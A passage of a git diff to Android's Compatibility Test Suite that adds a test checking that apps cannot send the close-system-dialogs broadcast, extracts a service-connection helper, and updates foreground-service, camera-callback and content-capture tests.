+Code here is shared between the test (CtsAppTestCases) and the apps (CtsAppTestStubs,
+CtsAppTestStubsAppN)
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
similarity index 60%
rename from hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
rename to tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
index 3e52342..42fdf52 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DummyCallscreeningService.java
+++ b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2019 The Android Open Source Project
+ * Copyright 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,15 +14,8 @@
* limitations under the License.
*/
-package com.android.server.cts.device.statsd;
+package android.app.stubs.shared;
-import android.annotation.NonNull;
-import android.telecom.Call;
-import android.telecom.CallScreeningService;
-
-public class DummyCallscreeningService extends CallScreeningService {
- @Override
- public void onScreenCall(@NonNull Call.Details callDetails) {
-
- }
+interface ICloseSystemDialogsTestsService {
+ void sendCloseSystemDialogsBroadcast();
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index f6fc834..f9f3ccc 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -73,8 +73,6 @@
private static final String KEY_DEFAULT_FGS_STARTS_RESTRICTION_ENABLED =
"default_fgs_starts_restriction_enabled";
- private static final String KEY_DEFAULT_FGS_STARTS_TEMP_ALLOWLIST_ENABLED =
- "default_fgs_starts_temp_allowlist_enabled";
private static final int WAITFOR_MSEC = 10000;
@@ -749,6 +747,17 @@
testFgsBindingFlag(Context.BIND_ALLOW_FOREGROUND_SERVICE_STARTS_FROM_BACKGROUND);
}
+ /**
+ * Test no binding flag.
+ * Shell has START_FOREGROUND_SERVICES_FROM_BACKGROUND permission, without any bind flag,
+ * the BG-FGS-launch ability can be passed to APP2 by service binding, then APP2 can start
+ * APP3 FGS from background.
+ */
+ @Test
+ public void testFgsBindingFlagNone() throws Exception {
+ testFgsBindingFlag(0);
+ }
+
private void testFgsBindingFlag(int bindingFlag) throws Exception {
ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
PACKAGE_NAME_APP1, 0);
@@ -771,6 +780,7 @@
final Intent intent = new Intent().setClassName(
PACKAGE_NAME_APP2, "android.app.stubs.LocalService");
+ /*
final ServiceConnection connection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
@@ -797,6 +807,7 @@
// testapp unbind service in APP2.
runWithShellPermissionIdentity(() -> mTargetContext.unbindService(connection));
uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+ */
// testapp is in background.
// testapp binds to service in APP2 using the binding flag.
@@ -977,8 +988,6 @@
} catch (Exception e) {
}
- // Put APP1 in AllowList.
- enableTempAllowList(true);
// Add package to AllowList.
CtsAppTestUtils.executeShellCmd(mInstrumentation,
"dumpsys deviceidle whitelist +" + PACKAGE_NAME_APP1);
@@ -995,7 +1004,6 @@
} finally {
uid1Watcher.finish();
enableFgsRestriction(false, true, null);
- enableTempAllowList(false);
// Remove package from AllowList.
CtsAppTestUtils.executeShellCmd(mInstrumentation,
"dumpsys deviceidle whitelist -" + PACKAGE_NAME_APP1);
@@ -1014,19 +1022,22 @@
private void testTempAllowListTypeInternal(int type) throws Exception {
ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
PACKAGE_NAME_APP1, 0);
+ ApplicationInfo app2Info = mContext.getPackageManager().getApplicationInfo(
+ PACKAGE_NAME_APP2, 0);
WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
WAITFOR_MSEC);
+ WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, app2Info.uid,
+ WAITFOR_MSEC);
try {
// Enable the FGS background startForeground() restriction.
enableFgsRestriction(true, true, null);
- enableTempAllowList(true);
// Start FGS in BG state.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
fail("Service should not enter foreground service state");
} catch (Exception e) {
}
@@ -1041,21 +1052,21 @@
// START_FOREGROUND_SERVICES_FROM_BACKGROUND permission.
CommandReceiver.sendCommandWithBroadcastOptions(mContext,
CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null,
options.toBundle());
});
if (type == TEMPORARY_WHITELIST_TYPE_FOREGROUND_SERVICE_ALLOWED) {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
// Stop the FGS.
CommandReceiver.sendCommand(mContext,
CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
- PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_CACHED_EMPTY);
} else if (type == TEMPORARY_WHITELIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED) {
// APP1 does not enter FGS state
try {
- uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
WatchUidRunner.STATE_FG_SERVICE);
fail("Service should not enter foreground service state");
} catch (Exception e) {
@@ -1063,8 +1074,8 @@
}
} finally {
uid1Watcher.finish();
+ uid2Watcher.finish();
enableFgsRestriction(false, true, null);
- enableTempAllowList(false);
}
}
@@ -1094,20 +1105,6 @@
}
/**
- * Turn on FGS BG-launch temp allowlist.
- * @param enable true to allow temp allowlist, falst to disallow.
- * @throws Exception
- */
- private void enableTempAllowList(boolean enable)
- throws Exception {
- runWithShellPermissionIdentity(() -> {
- DeviceConfig.setProperty("activity_manager",
- KEY_DEFAULT_FGS_STARTS_TEMP_ALLOWLIST_ENABLED,
- Boolean.toString(enable), false);
- });
- }
-
- /**
* SYSTEM_ALERT_WINDOW permission will allow both BG-activity start and BG-FGS start.
* Some cases we want to grant this permission to allow activity start to bring the app up to
* TOP state.
diff --git a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
new file mode 100644
index 0000000..34bf0ef
--- /dev/null
+++ b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.stubs.shared.ICloseSystemDialogsTestsService;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.ConditionVariable;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CloseSystemDialogsTest {
+ private static final String TEST_SERVICE = "android.app.stubs.CloseSystemDialogsTestService";
+ private static final String APP_COMPAT_ENABLE = "enable";
+ private static final String APP_COMPAT_DISABLE = "disable";
+ private static final String APP_COMPAT_RESET = "reset";
+ private static final String ACTION_SENTINEL = "sentinel";
+ private static final long TIMEOUT_MS = 3000;
+
+ /**
+ * Use com.android.app1 instead of android.app.stubs because the latter is the target of
+ * instrumentation, hence it also has shell powers for {@link
+ * Intent#ACTION_CLOSE_SYSTEM_DIALOGS} and we don't want those powers under simulation.
+ */
+ private static final String APP = "com.android.app1";
+
+ private Instrumentation mInstrumentation;
+ private FutureServiceConnection mConnection;
+ private Context mContext;
+ private ICloseSystemDialogsTestsService mService;
+ private volatile CompletableFuture<Void> mCloseSystemDialogsReceived;
+ private volatile ConditionVariable mSentinelReceived;
+ private IntentReceiver mIntentReceiver;
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mContext = mInstrumentation.getTargetContext();
+ compat(APP_COMPAT_ENABLE, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP);
+ // TODO(b/159105552): For now we emulate current targetSdk by force-enabling the feature.
+ // Remove this once the feature is enabled by default.
+ compat(APP_COMPAT_ENABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP);
+
+ mIntentReceiver = new IntentReceiver();
+ mCloseSystemDialogsReceived = new CompletableFuture<>();
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(Intent.ACTION_CLOSE_SYSTEM_DIALOGS);
+ filter.addAction(ACTION_SENTINEL);
+ mContext.registerReceiver(mIntentReceiver, filter);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (mConnection != null) {
+ mContext.unbindService(mConnection);
+ }
+ mContext.unregisterReceiver(mIntentReceiver);
+ compat(APP_COMPAT_RESET, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP);
+ compat(APP_COMPAT_RESET, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP);
+ }
+
+ @Test
+ public void testCloseSystemDialogs_whenTargetSdkCurrent_isBlockedAndThrows() throws Exception {
+ mService = getService();
+
+ assertThrows(SecurityException.class, () -> mService.sendCloseSystemDialogsBroadcast());
+
+ assertCloseSystemDialogsNotReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_whenTargetSdk30_isBlockedButDoesNotThrow() throws Exception {
+ // TODO(b/159105552): For now we emulate targetSdk 30 by force-disabling the feature.
+ // Remove this once the feature is enabled and use another app with lower targetSdk.
+ compat(APP_COMPAT_DISABLE, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP);
+ mService = getService();
+
+ mService.sendCloseSystemDialogsBroadcast();
+
+ assertCloseSystemDialogsNotReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_whenTestInstrumentedViaShell_isSent() throws Exception {
+ mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+
+ assertCloseSystemDialogsReceived();
+ }
+
+ @Test
+ public void testCloseSystemDialogs_whenRunningAsShell_isSent() throws Exception {
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS)));
+
+ assertCloseSystemDialogsReceived();
+ }
+
+ private void assertCloseSystemDialogsNotReceived() {
+ // If both broadcasts are sent, they will be received in order here since they are both
+ // registered receivers in the "bg" queue in system_server and belong to the same app.
+ // This is guaranteed by a series of handlers that are the same in both cases and due to the
+ // fact that the binder that system_server uses to call into the app is the same (since the
+ // app is the same) and one-way calls on the same binder object are ordered.
+ mSentinelReceived = new ConditionVariable(false);
+ Intent intent = new Intent(ACTION_SENTINEL);
+ intent.setPackage(mContext.getPackageName());
+ mContext.sendBroadcast(intent);
+ mSentinelReceived.block();
+ assertThat(mCloseSystemDialogsReceived.isDone()).isFalse();
+ }
+
+ private void assertCloseSystemDialogsReceived() throws Exception {
+ mCloseSystemDialogsReceived.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ // No TimeoutException thrown
+ }
+
+ private ICloseSystemDialogsTestsService getService() throws Exception {
+ return ICloseSystemDialogsTestsService.Stub.asInterface(connect().get(TIMEOUT_MS));
+ }
+
+ private FutureServiceConnection connect() {
+ if (mConnection != null) {
+ return mConnection;
+ }
+ mConnection = new FutureServiceConnection();
+ Intent intent = new Intent();
+ intent.setComponent(ComponentName.createRelative(APP, TEST_SERVICE));
+ assertTrue(mContext.bindService(intent, mConnection, Context.BIND_AUTO_CREATE));
+ return mConnection;
+ }
+
+ private static void compat(String command, long changeId, String packageName) {
+ SystemUtil.runShellCommand(
+ String.format("am compat %s %d %s", command, changeId, packageName));
+ }
+
+ private class IntentReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ switch (intent.getAction()) {
+ case Intent.ACTION_CLOSE_SYSTEM_DIALOGS:
+ mCloseSystemDialogsReceived.complete(null);
+ break;
+ case ACTION_SENTINEL:
+ mSentinelReceived.open();
+ break;
+ }
+ }
+ }
+}
diff --git a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
index f20113b..915e09d 100644
--- a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
+++ b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
@@ -30,6 +30,8 @@
import org.mockito.ArgumentCaptor;
+import java.util.concurrent.TimeUnit;
+
/**
* Tests Fragment's startActivityForResult and startIntentSenderForResult.
*/
@@ -55,7 +57,7 @@
startActivityForResult(10, Activity.RESULT_OK, "content 10");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(10), eq(Activity.RESULT_OK), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -67,7 +69,7 @@
startActivityForResult(20, Activity.RESULT_CANCELED, "content 20");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(20), eq(Activity.RESULT_CANCELED), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -79,7 +81,7 @@
startIntentSenderForResult(30, Activity.RESULT_OK, "content 30");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(30), eq(Activity.RESULT_OK), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -91,7 +93,7 @@
startIntentSenderForResult(40, Activity.RESULT_CANCELED, "content 40");
ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
- verify(mFragment, times(1))
+ asyncVerifyOnce(mFragment)
.onActivityResult(eq(40), eq(Activity.RESULT_CANCELED), captor.capture());
final String data = captor.getValue()
.getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -130,6 +132,10 @@
getInstrumentation().waitForIdleSync();
}
+ private static <T> T asyncVerifyOnce(T mock) {
+ return verify(mock, timeout(TimeUnit.SECONDS.toMillis(10)).times(1));
+ }
+
private void startIntentSenderForResult(final int requestCode, final int resultCode,
final String content) {
getInstrumentation().runOnMainSync(new Runnable() {
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 3b8689b..10d8202 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -70,6 +70,7 @@
import android.app.PendingIntent;
import android.app.Person;
import android.app.UiAutomation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
import android.app.stubs.AutomaticZenRuleActivity;
import android.app.stubs.BubbledActivity;
import android.app.stubs.BubblesTestService;
@@ -147,7 +148,6 @@
import java.util.Objects;
import java.util.Set;
import java.util.UUID;
-import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
@@ -2609,7 +2609,7 @@
// wait for the activity to launch and finish
mContext.startActivity(activityIntent);
- Thread.sleep(500);
+ Thread.sleep(2000);
NotificationChannel channel =
mContext.createPackageContextAsUser(DELEGATOR, /* flags= */ 0, mContext.getUser())
@@ -3866,21 +3866,6 @@
}
}
- private static class FutureServiceConnection implements ServiceConnection {
- public final CompletableFuture<IBinder> future = new CompletableFuture<>();
- public IBinder get(long timeoutMs) throws Exception {
- return future.get(timeoutMs, TimeUnit.MILLISECONDS);
- }
- @Override
- public void onServiceConnected(ComponentName name, IBinder service) {
- future.complete(service);
- }
- @Override
- public void onServiceDisconnected(ComponentName name) {
- fail(name + " disconnected");
- }
- }
-
private static class EventCallback extends Handler {
private static final int BROADCAST_RECEIVED = 1;
private static final int SERVICE_STARTED = 2;
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
new file mode 100644
index 0000000..2a6f5c3
--- /dev/null
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/FutureServiceConnection.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.android.app.cts.tools;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+public class FutureServiceConnection implements ServiceConnection {
+ private static final String TAG = "FutureServiceConnection";
+
+ private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+ public IBinder get(long timeoutMs) throws Exception {
+ return mFuture.get(timeoutMs, TimeUnit.MILLISECONDS);
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ mFuture.complete(service);
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ Log.w(TAG, name.flattenToShortString() + " disconnected");
+ mFuture = new CompletableFuture<>();
+ }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index ff1bdb7..6199d50 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -640,6 +640,19 @@
otherQueue.size() == 0);
}
+ private void verifySingleAvailabilityCbsReceived(LinkedBlockingQueue<String> expectedEventQueue,
+ LinkedBlockingQueue<String> unExpectedEventQueue, String expectedId,
+ String expectedStr, String unExpectedStr) throws Exception {
+ String candidateId = expectedEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
+ java.util.concurrent.TimeUnit.MILLISECONDS);
+ assertTrue("Received " + expectedStr + " notice for wrong ID, " +
+ "expected " + expectedId + ", got " + candidateId, expectedId.equals(candidateId));
+ assertTrue("Received > 1 " + expectedStr + " callback for id " + expectedId,
+ expectedEventQueue.size() == 0);
+ assertTrue(unExpectedStr + " events received unexpectedly",
+ unExpectedEventQueue.size() == 0);
+ }
+
private void testCameraManagerListenerCallbacks(boolean useExecutor) throws Exception {
final LinkedBlockingQueue<String> availableEventQueue = new LinkedBlockingQueue<>();
@@ -651,20 +664,17 @@
final LinkedBlockingQueue<Pair<String, String>> unavailablePhysicalCamEventQueue =
new LinkedBlockingQueue<>();
+ final LinkedBlockingQueue<String> onCameraOpenedEventQueue = new LinkedBlockingQueue<>();
+ final LinkedBlockingQueue<String> onCameraClosedEventQueue = new LinkedBlockingQueue<>();
+
CameraManager.AvailabilityCallback ac = new CameraManager.AvailabilityCallback() {
@Override
public void onCameraAvailable(String cameraId) {
- try {
- // When we're testing system cameras, we don't list non system cameras in the
- // camera id list as mentioned in Camera2ParameterizedTest.java
- if (mAdoptShellPerm &&
- !CameraTestUtils.isSystemCamera(mCameraManager, cameraId)) {
- return;
- }
- } catch (CameraAccessException e) {
- fail("CameraAccessException thrown when attempting to access camera" +
- "characteristics" + cameraId);
- }
+ // We allow this callback irrespective of mAdoptShellPerm since for this particular
+ // test, in the case when shell permissions are adopted we test all cameras, for
+ // simplicity. This is since when mAdoptShellPerm is false, we can't test for
+ // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+ // So, to test all cameras, we test them when we adopt shell permission identity.
availableEventQueue.offer(cameraId);
}
@@ -682,6 +692,20 @@
public void onPhysicalCameraUnavailable(String cameraId, String physicalCameraId) {
unavailablePhysicalCamEventQueue.offer(new Pair<>(cameraId, physicalCameraId));
}
+
+ @Override
+ public void onCameraOpened(String cameraId, String packageId) {
+ String curPackageId = mContext.getPackageName();
+ assertTrue("Opening package should be " + curPackageId + ", was " + packageId,
+ curPackageId.equals(packageId));
+ onCameraOpenedEventQueue.offer(cameraId);
+ }
+
+ @Override
+ public void onCameraClosed(String cameraId) {
+ onCameraClosedEventQueue.offer(cameraId);
+ }
+
};
if (useExecutor) {
@@ -690,9 +714,15 @@
mCameraManager.registerAvailabilityCallback(ac, mHandler);
}
String[] cameras = mCameraIdsUnderTest;
+ if (mAdoptShellPerm) {
+ //when mAdoptShellPerm is false, we can't test for
+ // onCameraOpened/Closed callbacks (no CAMERA_OPEN_CLOSE_LISTENER permissions).
+ // So, to test all cameras, we test them when we adopt shell permission identity.
+ cameras = mCameraManager.getCameraIdListNoLazy();
+ }
if (cameras.length == 0) {
- Log.i(TAG, "No cameras present, skipping test");
+ Log.i(TAG, "No cameras present, skipping test mAdoprPerm");
return;
}
@@ -722,14 +752,13 @@
// Then verify only open happened, and get the camera handle
CameraDevice camera = verifyCameraStateOpened(id, mockListener);
- // Verify that we see the expected 'unavailable' event.
- String candidateId = unavailableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
- java.util.concurrent.TimeUnit.MILLISECONDS);
- assertTrue(String.format("Received unavailability notice for wrong ID " +
- "(expected %s, got %s)", id, candidateId),
- id.equals(candidateId));
- assertTrue("Availability events received unexpectedly",
- availableEventQueue.size() == 0);
+ verifySingleAvailabilityCbsReceived(unavailableEventQueue,
+ availableEventQueue, id, "unavailability", "Availability");
+ if (mAdoptShellPerm) {
+ // Verify that we see the expected 'onCameraOpened' event.
+ verifySingleAvailabilityCbsReceived(onCameraOpenedEventQueue,
+ onCameraClosedEventQueue, id, "onCameraOpened", "onCameraClosed");
+ }
// Verify that we see the expected 'unavailable' events if this camera is a physical
// camera of another logical multi-camera
@@ -751,17 +780,16 @@
// Verify that we see the expected 'available' event after closing the camera
camera.close();
-
mCameraListener.waitForState(BlockingStateCallback.STATE_CLOSED,
CameraTestUtils.CAMERA_CLOSE_TIMEOUT_MS);
- candidateId = availableEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
- java.util.concurrent.TimeUnit.MILLISECONDS);
- assertTrue(String.format("Received availability notice for wrong ID " +
- "(expected %s, got %s)", id, candidateId),
- id.equals(candidateId));
- assertTrue("Unavailability events received unexpectedly",
- unavailableEventQueue.size() == 0);
+ verifySingleAvailabilityCbsReceived(availableEventQueue, unavailableEventQueue,
+ id, "availability", "Unavailability");
+
+ if (mAdoptShellPerm) {
+ verifySingleAvailabilityCbsReceived(onCameraClosedEventQueue,
+ onCameraOpenedEventQueue, id, "onCameraClosed", "onCameraOpened");
+ }
expectedLogicalCameras = new HashSet<Pair<String, String>>(relatedLogicalCameras);
verifyAvailabilityCbsReceived(expectedLogicalCameras,
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 45d341b..9ef497a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -200,7 +200,7 @@
// Blocking stop preview
startTimeMs = SystemClock.elapsedRealtime();
- blockingStopPreview();
+ blockingStopRepeating();
stopPreviewTimes[i] = SystemClock.elapsedRealtime() - startTimeMs;
}
finally {
@@ -433,7 +433,7 @@
CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
WAIT_FOR_RESULT_TIMEOUT_MS);
- stopPreviewAndDrain();
+ blockingStopRepeating();
CameraTestUtils.closeImageReaders(readers);
readers = null;
@@ -655,7 +655,7 @@
CameraTestUtils.waitForNumResults(previewResultListener, NUM_RESULTS_WAIT,
WAIT_FOR_RESULT_TIMEOUT_MS);
- stopPreview();
+ stopRepeating();
}
for (int i = 0; i < getResultTimes.length; i++) {
@@ -929,7 +929,7 @@
maxCaptureGapsMs[i] = maxTimestampGapMs;
}
- stopZslStreaming();
+ blockingStopRepeating();
String reprocessType = "YUV reprocessing";
if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1026,7 +1026,7 @@
}
}
- stopZslStreaming();
+ blockingStopRepeating();
String reprocessType = "YUV reprocessing";
if (reprocessInputFormat == ImageFormat.PRIVATE) {
@@ -1076,12 +1076,6 @@
zslBuilder.build(), mZslResultListener, mTestRule.getHandler());
}
- private void stopZslStreaming() throws Exception {
- mTestRule.getCameraSession().stopRepeating();
- mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
- BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
- }
-
/**
* Wait for a certain number of frames, the images and results will be drained from the
* listeners to make sure that next reprocessing can get matched results and images.
@@ -1154,10 +1148,14 @@
/*listener*/null, /*handler*/null);
}
- private void blockingStopPreview() throws Exception {
- stopPreview();
+ /**
+ * Stop repeating requests for current camera and waiting for it to go back to idle, resulting
+ * in an idle device.
+ */
+ private void blockingStopRepeating() throws Exception {
+ stopRepeating();
mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
- BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
+ BlockingSessionCallback.SESSION_READY, CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS);
}
private void blockingStartPreview(String id, CaptureCallback listener,
@@ -1381,29 +1379,14 @@
}
/**
- * Stop preview for current camera device by closing the session.
+ * Stop the repeating requests of current camera.
* Does _not_ wait for the device to go idle
*/
- private void stopPreview() throws Exception {
+ private void stopRepeating() throws Exception {
// Stop repeat, wait for captures to complete, and disconnect from surfaces
if (mTestRule.getCameraSession() != null) {
if (VERBOSE) Log.v(TAG, "Stopping preview");
- mTestRule.getCameraSession().close();
- }
- }
-
- /**
- * Stop preview for current camera device by closing the session and waiting for it to close,
- * resulting in an idle device.
- */
- private void stopPreviewAndDrain() throws Exception {
- // Stop repeat, wait for captures to complete, and disconnect from surfaces
- if (mTestRule.getCameraSession() != null) {
- if (VERBOSE) Log.v(TAG, "Stopping preview and waiting for idle");
- mTestRule.getCameraSession().close();
- mTestRule.getCameraSessionListener().getStateWaiter().waitForState(
- BlockingSessionCallback.SESSION_CLOSED,
- /*timeoutMs*/WAIT_FOR_RESULT_TIMEOUT_MS);
+ mTestRule.getCameraSession().stopRepeating();
}
}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index aa4fa9e..9d2375f 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -425,9 +425,15 @@
activity.syncRunOnUiThread(() -> {
activity.mUsername.setText("a");
activity.mUsername.setText("ab");
+ activity.mUsername.setText("");
+ activity.mUsername.setText("abc");
activity.mPassword.setText("d");
+ activity.mPassword.setText("");
+ activity.mPassword.setText("");
activity.mPassword.setText("de");
+ activity.mPassword.setText("def");
+ activity.mPassword.setText("");
activity.mUsername.setText("abc");
});
@@ -440,15 +446,20 @@
assertRightActivity(session, sessionId, activity);
- final int additionalEvents = 3;
+ final int additionalEvents = 8;
final List<ContentCaptureEvent> events = activity.assertInitialViewsAppeared(session,
additionalEvents);
final int i = LoginActivity.MIN_EVENTS;
